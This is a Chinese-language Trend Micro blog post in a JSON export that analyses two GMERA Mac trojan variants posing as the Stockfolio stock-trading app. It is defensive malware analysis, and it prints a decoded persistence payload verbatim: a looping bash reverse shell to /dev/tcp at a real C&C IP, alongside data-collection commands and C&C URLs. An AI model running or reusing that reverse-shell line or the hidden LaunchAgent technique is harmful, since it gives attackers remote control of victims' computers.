{"id":62115,"date":"2019-09-24T15:00:49","date_gmt":"2019-09-24T07:00:49","guid":{"rendered":"https:\/\/blog.trendmicro.com.tw\/?p=62115"},"modified":"2019-09-26T18:05:50","modified_gmt":"2019-09-26T10:05:50","slug":"%e5%81%bd%e8%a3%9d%e6%88%90%e8%82%a1%e7%a5%a8%e4%ba%a4%e6%98%93%e8%bb%9f%e9%ab%94-stockfolio-%e7%ab%8a%e5%80%8b%e8%b3%87%e7%9a%84-mac-%e6%83%a1%e6%84%8f%e6%87%89%e7%94%a8%e7%a8%8b%e5%bc%8f","status":"publish","type":"post","link":"https:\/\/blog.trendmicro.com.tw\/?p=62115","title":{"rendered":"\u507d\u88dd\u6210\u80a1\u7968\u4ea4\u6613\u8edf\u9ad4 Stockfolio \u7aca\u500b\u8cc7\u7684 Mac \u60e1\u610f\u61c9\u7528\u7a0b\u5f0f"},"content":{"rendered":"\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>\u8da8\u52e2\u79d1\u6280\u767c\u73fe\u5169\u96bb\u507d\u88dd\u6210 Mac\u5408\u6cd5\u4ea4\u6613\u8edf\u9ad4 <a href=\"https:\/\/stockfolioapp.com\/,\">Stockfolio<\/a> \u7684\u6728\u99ac,\u6703\u5728\u87a2\u5e55\u4e0a\u51fa\u73fe\u771f\u5be6\u7684\u80a1\u7968\u4ea4\u6613\u4ecb\u9762,\u4f46\u5728\u80cc\u666f\u57f7\u884c\u60e1\u610f\u884c\u70ba,\u8490\u96c6\u4f7f\u7528\u8005\u540d\u7a31\u3001 IP\u5730\u5740 \u3001\u87a2\u5e55\u622a\u5716\u7b49\u500b\u8cc7\u3002\u5176\u4e2d\u4e00\u500b\u8b8a\u7a2e\u507d\u88dd\u6210\u6b63\u5e38\u8edf\u9ad4\u7684\u5047\u61c9\u7528\u7a0b\u5f0f\u5305\u542b\u4e86\u591a\u500b\u60e1\u610f\u7d44\u4ef6,\u5176\u4e2d\u4e00\u500b\u8edf\u9ad4\u5957\u4ef6 <em>Stockfoli.app<\/em>, \u8207\u6b63\u724c\u7684\u61c9\u7528\u7a0b\u5f0f:Stockfolio \u6bd4\u8f03, \u540d\u7a31\u7d50\u5c3e\u5c11\u4e86 \u201co\u201d \u3002 <\/p><p>\u5efa\u8b70\u60f3\u8cb7\u8ce3\u80a1\u7968\u7684\u4f7f\u7528\u8005\u5728\u4e0b\u8f09\u7a0b\u5f0f\u6642\u8981\u5c0f\u5fc3\u8b39\u614e\uff0c\u5c24\u5176\u662f\u7576\u5b83\u4f86\u81ea\u672a\u77e5\u6216\u53ef\u7591\u7684\u7db2\u7ad9\u6642\u3002\u4f7f\u7528\u8005\u53ef\u4ee5\u5229\u7528<a href=\"https:\/\/t.rend.tw\/?i=ODAzMw\">\u8da8\u52e2\u79d1\u6280PC-cillin<\/a>\u53d6\u5f97\u4fdd\u8b77\uff0c\u5b83\u63d0\u4f9b\u4e86\u5168\u9762\u6027\u7684\u5b89\u5168\u9632\u8b77\u53ca\u591a\u88dd\u7f6e\u7684\u4fdd\u8b77\u4f86\u62b5\u79a6\u7db2\u8def\u5a01\u8105\u3002<\/p><\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"479\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/06\/MAC.jpg\" alt=\"\u507d\u88dd\u6210\u80a1\u7968\u4ea4\u6613\u8edf\u9ad4 Stockfolio \u7aca\u500b\u8cc7\u7684 Mac \u60e1\u610f\u61c9\u7528\u7a0b\u5f0f\" class=\"wp-image-12820\" srcset=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/06\/MAC.jpg 700w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/06\/MAC-300x205.jpg 300w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2015\/06\/MAC-600x411.jpg 600w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/figure>\n\n\n\n<p>\u5728\u7db2\u8def\u6642\u4ee3\u4e4b\u524d\uff0c\u60f3\u5728\u80a1\u7968\u6216\u671f\u8ca8\u5e02\u5834\u9032\u884c\u4ea4\u6613\u9700\u8981\u6253\u96fb\u8a71\u7d66\u5238\u5546\uff08\u9019\u6a23\u505a\u901a\u5e38\u4ee3\u8868\u8457\u984d\u5916\u8cbb\u7528\uff09\uff0c\u800c\u80a1\u7968\u4ea4\u6613\u8edf\u9ad4\u7684\u51fa\u73fe\u8b93\u4e00\u822c\u4f7f\u7528\u8005\u4e5f\u53ef\u4ee5\u81ea\u5df1\u9032\u884c\u4ea4\u6613\u3002\u4f46\u9019\u985e\u8edf\u9ad4\u7684\u76db\u884c\u4e5f\u5f15\u4f86\u7db2\u8def\u72af\u7f6a\u5206\u5b50\u7684\u6ce8\u610f\uff0c\u60e1\u610f\u5206\u5b50\u6703\u88fd\u4f5c\u5047\u4ea4\u6613\u8edf\u9ad4\u4f86\u8a98\u9a19\u6beb\u7121\u6212\u5fc3\u7684\u53d7\u5bb3\u8005\u4e26\u7aca\u53d6\u5176\u500b\u4eba\u8cc7\u6599\u3002<a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a>\u6700\u8fd1\u767c\u73fe\u4e26\u5206\u6790\u4e86\u6b64\u985e\u61c9\u7528\u7a0b\u5f0f\uff0c\u9019\u60e1\u610f\u8edf\u9ad4\u8b8a\u7a2e\u6703\u507d\u88dd\u6210 Mac\u4e0a\u7684\u5408\u6cd5\u4ea4\u6613\u8edf\u9ad4 <a href=\"https:\/\/stockfolioapp.com\/,\">Stockfolio<\/a>\u3002<\/p>\n\n\n\n<p>\u6211\u5011\u767c\u73fe\u4e86\u6b64\u60e1\u610f\u8edf\u9ad4\u5bb6\u65cf\u7684\u5169\u500b\u8b8a\u7a2e\u3002\u7b2c\u4e00\u500b\u6a23\u672c\u5305\u542b\u5169\u500b\u8173\u672c\u7a0b\u5f0f\u4e26\u6703\u9023\u5230\u9060\u7aef\u7db2\u7ad9\u4f86\u89e3\u5bc6\u5176\u52a0\u5bc6\u7684\u7a0b\u5f0f\u78bc\uff0c\u800c\u7b2c\u4e8c\u500b\u6a23\u672c\u96d6\u7136\u53ea\u4f7f\u7528\u4e00\u500b\u8173\u672c\u4ee5\u53ca\u66f4\u7c21\u5316\u7684\u884c\u70ba\uff0c\u4f46\u5be6\u969b\u4e0a\u9084\u52a0\u5165\u4e86\u6301\u7e8c\u6027\u6a5f\u5236\u3002<\/p>\n\n\n\n<!--more-->\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6a23\u672c1<\/strong><strong>\uff1aTrojan.MacOS.GMERA.A<\/strong><\/h3>\n\n\n\n<p>\u6211\u5011\u5728\u6aa2\u67e5<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=55169\">\u6a5f\u5668\u5b78\u7fd2(Machine learning,ML)<\/a>\u7cfb\u7d71\u6240\u6a19\u8a18\u53ef\u7591 shell \u8173\u672c\u6642\u767c\u73fe\u4e86\u7b2c\u4e00\u500b\u6a23\u672c\uff08\u5075\u6e2c\u70baTrojan.MacOS.GMERA.A\uff09\u3002\u4f46\u770b\u6b64\u6a23\u672c\u6703\u6709\u56f0\u96e3\u53bb\u76f4\u63a5\u8b58\u5225\u5176\u60e1\u610f\u884c\u70ba\uff0c\u56e0\u70ba shell \u8173\u672c\u6703\u53c3\u7167\u5176\u4ed6\u6a94\u6848\uff08\u5982 AppCode\uff0c.pass\u548c.app\uff09\u3002\u70ba\u4e86\u9a57\u8b49\u8a72\u884c\u70ba\u78ba\u5be6\u70ba\u60e1\u610f\uff0c\u6211\u5011\u5229\u7528\u81ea\u5df1\u7684\u60c5\u5831\u7db2\u8def\u53caVirusTotal\u5e73\u53f0\uff08\u6709\u63d0\u4f9b\u8a72\u6a23\u672c\uff0c\u4f46\u5728\u672c\u6587\u64b0\u5beb\u6642\u5c1a\u672a\u6709\u5176\u4ed6\u4e3b\u8981\u5b89\u5168\u5ee0\u5546\u80fd\u5075\u6e2c\uff09\u4f86\u53d6\u5f97\u539f\u59cb\u6a94\u6848\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-1.png\" alt=\" Figure 1. The suspicious shell script which was flagged by our system\"\/><figcaption> \u57161. \u6211\u5011\u7684\u7cfb\u7d71\u6240\u6a19\u8a18\u7684\u53ef\u7591shell\u8173\u672c <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u539f\u59cb\u6a23\u672c\u662f\u500b zip\u58d3\u7e2e\u6a94\uff08\u5075\u6e2c\u70baTrojan.MacOS.GMERA.A\uff09\uff0c\u88e1\u9762\u5305\u542b\u4e00\u500b\u8edf\u9ad4\u5957\u4ef6\uff08<em>Stockfoli.app<\/em>\uff09\u548c\u4e00\u500b\u96b1\u85cf\u7684\u52a0\u5bc6\u6a94\u6848\uff08.app\uff09\u3002\u8a72\u507d\u88dd\u6210\u6b63\u5e38\u8edf\u9ad4\u7684\u5047\u61c9\u7528\u7a0b\u5f0f\u5305\u542b\u4e86\u591a\u500b\u60e1\u610f\u7d44\u4ef6\u7528\u4f86\u8a98\u9a19\u4f7f\u7528\u8005\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-2.png\" alt=\"Figure 2. Content of the zip file. Note that the app bundle is missing the \u201co\u201d at the end, whereas the legitimate app is called Stockfolio.\"\/><figcaption> \u57162. \u58d3\u7e2e\u6a94\u5167\u5bb9\u3002\u8acb\u6ce8\u610f\uff0c\u9019\u500b\u8edf\u9ad4\u5957\u4ef6\u7d50\u5c3e\u5c11\u4e86\u201co\u201d\uff0c\u6b63\u5e38\u7684\u61c9\u7528\u7a0b\u5f0f\u540d\u7a31\u70baStockfolio\u3002 <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Zip \u58d3\u7e2e\u6a94\u53ca\u5176\u5167\u5bb9<\/strong><\/h3>\n\n\n\n<p>\u7b2c\u4e00\u500b\u53ef\u7591\u7d44\u4ef6\u662f Resources\u76ee\u9304\u5e95\u4e0b\u7684\u8edf\u9ad4\u5957\u4ef6\uff0c\u5b83\u770b\u8d77\u4f86\u662f\u6b63\u5e38\u7684 Stockfolio\u7248\u672c1.4.13\uff0c\u4f46\u5e36\u6709\u60e1\u610f\u8edf\u9ad4\u4f5c\u8005\u7684\u6578\u4f4d\u6191\u8b49\u3002<\/p>\n\n\n\n<p>\u8ddf Stockfolio\u7db2\u7ad9\u4e0a\u6240\u627e\u5230\u7576\u524d\u7248\u672c\uff081.5\uff09\u7684Resource\u76ee\u9304\u9032\u884c\u6bd4\u8f03\u5f8c\u53ef\u4ee5\u767c\u73fe\u6709\u8a31\u591a\u5dee\u7570\uff0c\u5982\u4e0b\u5716\u6240\u793a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-3-2.png\" alt=\" Figure 3. Comparison of the app bundle folder structure between the malware variant (top) and the legitimate app (version 1.5, bottom).\"\/><figcaption> \u57163. \u60e1\u610f\u8edf\u9ad4\uff08\u4e0a\uff09\u548c\u6b63\u5e38\u61c9\u7528\u7a0b\u5f0f\uff08\u7248\u672c1.5\uff0c\u4e0b\uff09\u7684\u8edf\u9ad4\u5957\u4ef6\u76ee\u9304\u7d50\u69cb\u6bd4\u8f03\u3002 <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6280\u8853\u5206\u6790<\/strong><\/h3>\n\n\n\n<p>\u7576\u57f7\u884c\u8a72\u61c9\u7528\u7a0b\u5f0f\u6642\uff0c\u6703\u5728\u87a2\u5e55\u4e0a\u51fa\u73fe\u771f\u5be6\u7684\u80a1\u7968\u4ea4\u6613\u4ecb\u9762\u3002\u4f46\u4f7f\u7528\u8005\u4e0d\u77e5\u9053\u7684\u662f\u60e1\u610f\u8edf\u9ad4\u5df2\u7d93\u5728\u80cc\u666f\u57f7\u884c\u60e1\u610f\u884c\u70ba\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-4.png\" alt=\" Figure 4. interface displayed when the malware app bundle is executed\"\/><figcaption> \u57164. \u57f7\u884c\u60e1\u610f\u61c9\u7528\u7a0b\u5f0f\u6642\u986f\u793a\u7684\u4ecb\u9762 <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4e3bMach-O\u57f7\u884c\u6a94\u6703\u5728Resources\u76ee\u9304\u555f\u52d5\u4e0b\u5217Shell\u8173\u672c\uff1a<\/p>\n\n\n\n<ul><li>Plugin<\/li><li>Stock<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Plugin<\/strong><strong>\u548cStock Shell<\/strong><strong>\u8173\u672c<\/strong><\/h3>\n\n\n\n<p>Plugin shell\u8173\u672c\u5f9e\u53d7\u611f\u67d3\u7cfb\u7d71\u6536\u96c6\u4e0b\u5217\u8cc7\u8a0a\uff1a<\/p>\n\n\n\n<ul><li>\u4f7f\u7528\u8005\u540d\u7a31<\/li><li>IP\u5730\u5740<\/li><li><em>\/Applications<\/em>\u5167\u7684\u61c9\u7528\u7a0b\u5f0f<\/li><li><em>~\/Documents<\/em>\u5167\u7684\u6a94\u6848<\/li><li><em>~\/Desktop<\/em>\u5167\u7684\u6a94\u6848<\/li><li>\u4f5c\u696d\u7cfb\u7d71\u5b89\u88dd\u65e5\u671f<\/li><li>\u6a94\u6848\u7cfb\u7d71\u78c1\u789f\u7a7a\u9593\u4f7f\u7528\u7387<\/li><li>\u5716\u5f62\/\u986f\u793a\u8cc7\u8a0a<\/li><li>\u7121\u7dda\u7db2\u8def\u8cc7\u8a0a<\/li><li>\u87a2\u5e55\u622a\u5716<\/li><\/ul>\n\n\n\n<p>\u5b83\u63a5\u8457\u6703\u7528base64\u7de8\u78bc\u6536\u96c6\u4f86\u7684\u8cc7\u8a0a\uff0c\u4e26\u5c07\u6240\u6536\u96c6\u7684\u8cc7\u8a0a\u5132\u5b58\u5230\u4e00\u500b\u96b1\u85cf\u6a94\u6848\uff1a<em>\/tmp\/.info<\/em>\u3002\u7136\u5f8c\uff0c\u5b83\u6703\u7528\u6536\u96c6\u4f86\u7684\u4f7f\u7528\u8005\u540d\u7a31\u548c\u6a5f\u5668\u5e8f\u865f\u4f5c\u70ba\u8b58\u5225\u78bc\u5c07\u6a94\u6848\u4e0a\u50b3\u5230<em>hxxps:\/\/appstockfolio.com\/panel\/upload[.]php<\/em>\u3002<\/p>\n\n\n\n<p>\u5982\u679c\u7db2\u5740\u767c\u51fa\u6210\u529f\u56de\u61c9\uff0c\u5b83\u6703\u5c07\u56de\u61c9\u5beb\u5165\u53e6\u4e00\u500b\u96b1\u85cf\u6a94\u6848<em>~\/Library\/Containers\/.pass<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-5.png\" alt=\"\"\/><figcaption> \u57165. Plugin\u8173\u672c <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Stock shell\u8173\u672c\u6703\u5c07<em>Stockfoli.app\/Contents\/Resources\/appcode<\/em>\u8907\u88fd\u5230<em>\/private\/var\/tmp\/appcode<\/em>\u3002\u5b83\u63a5\u8457\u6703\u5c0b\u627e.app\u6a94\u6848\uff0c\u9019\u662fStockfoli.app\u8edf\u9ad4\u5957\u4ef6\u5167\u7684\u96b1\u85cf\u6a94\u6848\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-6.png\" alt=\"\"\/><figcaption> \u57166. Stock\u8173\u672c <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5b83\u6703\u89e3\u78bcb64\u7de8\u78bc\u7684.app\u6a94\u6848\uff0c\u57f7\u884c\u4e26\u7522\u751f\u4ee5\u4e0b\u6a94\u6848\uff1a<\/p>\n\n\n\n<table  class=\"wp-block-table table table-hover\" ><tbody><tr><td>\n  \u6a94\u6848\n  <\/td><td>\n  \u7d30\u7bc0\n  <\/td><\/tr><tr><td>\n  <em>\/tmp\/.hostname<\/em>\n  <\/td><td>\n  gmzera54l5qpa6lm.onion\n  <\/td><\/tr><tr><td>\n  <em>\/tmp\/.privatkey<\/em>\n  <\/td><td>\n  RSA\u91d1\u9470\n  <\/td><\/tr><\/tbody><\/table>\n\n\n\n<p>\u5b83\u6703\u79fb\u9664.app\u6a94\u6848\uff0c\u7136\u5f8c\u6aa2\u67e5<em>~\/Library\/Containers\/.pass<\/em>\u6a94\u6848\u662f\u5426\u5b58\u5728\u3002\u4f7f\u7528.pass\u6a94\u6848\u5167\u5bb9\u4f5c\u70ba\u91d1\u9470\uff0c\u60e1\u610f\u8edf\u9ad4\u6703\u89e3\u5bc6\u7528AES-256-CBC\u52a0\u5bc6\u7684<em>\/private\/var\/tmp\/appcode<\/em>\uff0c\u518d\u5c07\u89e3\u5bc6\u5f8c\u7684\u6a94\u6848\u5132\u5b58\u5230<em>\/tmp\/appcode<\/em>\u3002\u6700\u5f8c\uff0c\u5b83\u6703\u57f7\u884cappcode\u3002\u5982\u679c\u5931\u6557\uff0c\u5b83\u6703\u522a\u9664\/tmp\/appcode\u6a94\u6848\u548c<em>~\/Library\/Containers\/.pass<\/em>\u3002\u8981\u6ce8\u610f\u7684\u662f\uff0c\u6211\u5011\u7684\u6a23\u672c\u5206\u6790\u6700\u5f8c\u89e3\u5bc6\u5931\u6557\uff0c\u56e0\u70ba\u6a23\u672c\u7121\u6cd5\u7522\u751f<em>~\/Library\/Containers \/.pass<\/em>\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-7.png\" alt=\"\"\/><figcaption> \u57167. \u60e1\u610f\u61c9\u7528\u7a0b\u5f0f\uff08\u4e0a\uff09\u548c\u6b63\u5e38Stockfolio\u61c9\u7528\u7a0b\u5f0f\uff08\u4e0b\uff09\u7684\u7a0b\u5f0f\u78bc\u7c3d\u7ae0\u8cc7\u8a0a\u6bd4\u8f03 <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6211\u5011\u61f7\u7591\u6a94\u6848appcode\u6709\u5305\u542b\u5176\u4ed6\u60e1\u610f\u884c\u70ba\u3002\u4f46\u5728\u672c\u6587\u64b0\u5beb\u6642\uff0c\u6211\u5011\u7121\u6cd5\u89e3\u5bc6\u6b64\u6a94\u6848\uff0c\u56e0\u70ba\u7121\u6cd5\u9023\u5230\u4e0a\u50b3\u7db2\u5740<em>hxxps:\/\/appstockfolio.com\/panel\/upload\n[.]php<\/em>\uff08\u6839\u64daVirusTotal\uff0c\u8a72\u7db2\u57df\u57282019\u5e741\u6708\u81f32019\u5e742\u6708\u9084\u5728\u6d3b\u52d5\uff09\u3002\u6b64\u5916\uff0c\u7531\u65bc\u5b58\u5728\u672a\u7528\u5230\u7684\u5730\u5740gmzera54l5qpa6lm[.onion]\uff0c\u6211\u5011\u61f7\u7591\u5b8c\u6574\u7684\u60e1\u610f\u8edf\u9ad4\u884c\u70ba\u6703\u4f7f\u7528TOR\u7db2\u8def\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6a23\u672c2<\/strong><strong>\uff1aTrojan.MacOS.GMERA.B<\/strong><\/h3>\n\n\n\n<p>\u6211\u5011\u6839\u64da\u7b2c\u4e00\u500b\u6a23\u672c\u7684\u6578\u4f4d\u6191\u8b49\u627e\u5230\u4e86\u7b2c\u4e8c\u500b\u8b8a\u7a2e\uff08\u5075\u6e2c\u70baTrojan.MacOS.GMERA.B\uff09\uff0c\u8a72\u8b8a\u7a2e\u57282019\u5e746\u6708\u4e0a\u50b3\u5230VirusTotal\u3002\u8ddf\u7b2c\u4e00\u500b\u8b8a\u7a2e\u4e00\u6a23\uff0c\u5b83\u5305\u5165\u4e86\u5e36\u6709\u60e1\u610f\u8edf\u9ad4\u4f5c\u8005\u6578\u4f4d\u6191\u8b49\u7684Stockfolio 1.4.13\u7248\u672c\u8edf\u9ad4\u3002\u7576\u57f7\u884c\u6642\u4e5f\u6703\u7528\u985e\u4f3c\u7684\u4f5c\u6cd5\u63a9\u98fe\u5176\u60e1\u610f\u884c\u70ba\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-8.png\" alt=\"\"\/><figcaption> \u57168. Trojan.MacOS.GMERA.B\u7684\u8edf\u9ad4\u5957\u4ef6\u7d50\u69cb <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4e00\u65e6\u958b\u555f\uff0cTrojan.MacOS.GMERA.B\u6703\u57f7\u884c\u5167\u5d4c\u7684Stockfolio 1.4.13\u7248\uff0c\u63a5\u8457\u6703\u555f\u52d5shell\u8173\u672c<em>run.sh<\/em>\u3002<\/p>\n\n\n\n<p>\u8173\u672c<em>run.sh<\/em>\u900f\u904e\u4e0b\u5217\u547d\u4ee4\u5f9e\u53d7\u611f\u67d3\u96fb\u8166\u6536\u96c6\u4f7f\u7528\u8005\u540d\u7a31\u548cIP\u5730\u5740\uff1a<\/p>\n\n\n\n<ul><li>\u4f7f\u7528\u8005\u540d\u7a31\uff1awhoami<\/li><li>ip\u5730\u5740\uff1acurl -s ipecho.net\/plain<\/li><\/ul>\n\n\n\n<p>\u5b83\u6703\u9023\u5230\u60e1\u610f\u8edf\u9ad4\u7db2\u5740<em>hxxp:\/\/owpqkszz[.]info<\/em>\u4e26\u7528\u4e0b\u5217\u683c\u5f0f\u9001\u51fa\u4f7f\u7528\u8005\u540d\u7a31\u548cIP\u5730\u5740\u8cc7\u8a0a\uff1a<\/p>\n\n\n\n<ul><li>hxxp:\/\/owpqkszz[.]info\/link.php?{username}&amp;{ip\naddress}<\/li><\/ul>\n\n\n\n<p>\u6b64\u60e1\u610f\u8edf\u9ad4\u9084\u6703\u7522\u751f\u4ee5\u4e0b\u6a94\u6848\uff1a<\/p>\n\n\n\n<table  class=\"wp-block-table table table-hover\" ><tbody><tr><td>\n  \u6a94\u6848\n  <\/td><td>\n  \u7d30\u7bc0\n  <\/td><\/tr><tr><td>\n  <em>\/private\/tmp\/.com.apple.upd.plist<\/em>\n  <\/td><td>\n  \u8907\u88fd~\/Library\/LaunchAgents\/.com.apple.upd.plist\n  <\/td><\/tr><tr><td>\n  <em>~\/Library\/LaunchAgents\/.com.apple.upd.plist<\/em>\n  <\/td><td>\n  \u6301\u7e8c\u6027\u6a5f\u5236\n  <\/td><\/tr><tr><td>\n  <em>\/tmp\/loglog<\/em>\n  <\/td><td>\n  \u60e1\u610f\u8edf\u9ad4\u57f7\u884c\u65e5\u8a8c\n  <\/td><\/tr><\/tbody><\/table>\n\n\n\n<p>\u5b83\u63a5\u8457\u6703\u8ddfC&amp;C\u4f3a\u670d\u5668193[.]37[.]212[.]176\u5efa\u7acb\u7c21\u55ae\u7684\u53cd\u5411shell\u3002\u4e00\u65e6\u5efa\u7acb\u8d77\u9023\u7dda\uff0c\u60e1\u610f\u8edf\u9ad4\u4f5c\u8005\u5c31\u53ef\u4ee5\u57f7\u884cShell\u547d\u4ee4\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-9.png\" alt=\"\"\/><figcaption> \u57169. run.sh shell\u8173\u672c\u7684\u5167\u5bb9 <\/figcaption><\/figure>\n\n\n\n<p>\u9664\u4e86\u7c21\u5316\u7684\u884c\u70ba\u5916\uff0c\u7b2c\u4e8c\u500b\u8b8a\u7a2e\u7684\u4e3b\u8981\u66f4\u52d5\u4e4b\u4e00\u662f\u5229\u7528\u5c6c\u6027\u5217\u8868\uff08plist\uff09\u6a94\u6848\u4f5c\u70ba\u6301\u7e8c\u6027\u6a5f\u5236\uff1a~\/Library\/LaunchAgents\/.com.apple.upd.plist<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2019\/09\/stockfoli-mac-malware-10.png\" alt=\"\"\/><figcaption> \u571610. \u7528\u65bc\u6301\u7e8c\u6027\u6a5f\u5236\u7684\u96b1\u85cfplist\u6a94\u6848 <\/figcaption><\/figure>\n\n\n\n<p>\u89e3\u78bcplist\u6a94\u6848\u7684b64\u7de8\u78bc\u53c3\u6578\u5f8c\uff0c\u6211\u5011\u767c\u73fe\u4e86\u4e0b\u5217\u7a0b\u5f0f\u78bc\uff1a<\/p>\n\n\n\n<ul><li>while :; do sleep 10000; screen\n-X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c \u2018bash -i\n&gt;\/dev\/tcp\/193.37.212.176\/25733 0&gt;&amp;1\u2019; done<\/li><\/ul>\n\n\n\n<p>\u9019\u6703\u8b93plist\u6a94\u6848\u4e0d\u65b7\u5730\u5efa\u7acb\u524d\u9762\u6240\u63d0\u5230\u7684\u53cd\u5411Shell\uff0c\u6bcf10,000\u79d2\u9032\u884c\u4e00\u6b21\u3002<\/p>\n\n\n\n<p>\u6240\u5efa\u7acb\u7684\u7c21\u55ae\u53cd\u5411shell\u4f7f\u7528\u7aef\u53e325733-25736\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u7d50\u8ad6<\/strong><\/h3>\n\n\n\n<p>\u6839\u64da\u6211\u5011\u5f9e\u60e1\u610f\u8edf\u9ad4\u8b8a\u7a2e\u770b\u5230\u7684\u8fed\u4ee3\u8b8a\u5316\uff0c\u6211\u5011\u6ce8\u610f\u5230\u4e86\u4e00\u7a2e\u8da8\u52e2\uff0c\u60e1\u610f\u8edf\u9ad4\u4f5c\u8005\u6703\u7c21\u5316\u884c\u70ba\u4e26\u52a0\u5165\u66f4\u591a\u529f\u80fd\u3002\u653b\u64ca\u8005\u53ef\u80fd\u5728\u5c0b\u627e\u63d0\u9ad8\u6548\u7387\u7684\u65b9\u6cd5\n\u2013 \u751a\u81f3\u6703\u5728\u5c07\u4f86\u589e\u52a0\u8eb2\u907f\u5075\u6e2c\u6a5f\u5236\u3002<\/p>\n\n\n\n<p>\u540c\u6642\uff0c\u6211\u5011\u5efa\u8b70\u60f3\u8cb7\u8ce3\u80a1\u7968\u7684\u4f7f\u7528\u8005\u5728\u4e0b\u8f09\u7a0b\u5f0f\u6642\u8981\u5c0f\u5fc3\u8b39\u614e\uff0c\u5c24\u5176\u662f\u7576\u5b83\u4f86\u81ea\u672a\u77e5\u6216\u53ef\u7591\u7684\u7db2\u7ad9\u6642\u3002\u6211\u5011\u5efa\u8b70\u4f7f\u7528\u8005\u53ea\u5f9e\u5b98\u65b9\u4f86\u6e90\u4e0b\u8f09\u61c9\u7528\u7a0b\u5f0f\uff0c\u4ee5\u6700\u5927\u7a0b\u5ea6\u5730\u6e1b\u5c11\u4e0b\u8f09\u5230\u60e1\u610f\u61c9\u7528\u7a0b\u5f0f\u7684\u6a5f\u6703\u3002<\/p>\n\n\n\n<p>\u6211\u5011\u5728\u767c\u8868\u672c\u6587\u524d\u5df2\u7d93\u806f\u7e6b\u904eApple\uff0c\u4ed6\u5011\u544a\u77e5\u6211\u5011\u8a72\u5047\u61c9\u7528\u7a0b\u5f0f\u958b\u767c\u4eba\u54e1\u7684\u7a0b\u5f0f\u78bc\u7c3d\u7ae0\u6191\u8b49\u5df2\u65bc\u4eca\u5e747\u6708\u88ab\u64a4\u92b7\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u8da8\u52e2\u79d1\u6280\u89e3\u6c7a\u65b9\u6848<\/strong><\/h3>\n\n\n\n<p>\u4f7f\u7528\u8005\u53ef\u4ee5\u5229\u7528 <a href=\"https:\/\/t.rend.tw\/?i=ODAzMw\">\u8da8\u52e2\u79d1\u6280PC-cillin<\/a> \u4f86\u53d6\u5f97\u4fdd\u8b77\uff0c\u5b83\u63d0\u4f9b\u4e86\u5168\u9762\u6027\u7684\u5b89\u5168\u9632\u8b77\u53ca\u591a\u88dd\u7f6e\u7684\u4fdd\u8b77\u4f86\u62b5\u79a6\u7db2\u8def\u5a01\u8105\u3002\u4f01\u696d\u53ef\u4ee5\u7528XGen\u5b89\u5168\u9632\u8b77\u6280\u8853\u6240\u9a45\u52d5\u7684\u8da8\u52e2\u79d1\u6280<a href=\"https:\/\/www.trendmicro.com\/zh_tw\/business\/products\/user-protection\/sps.html\">Smart Protection 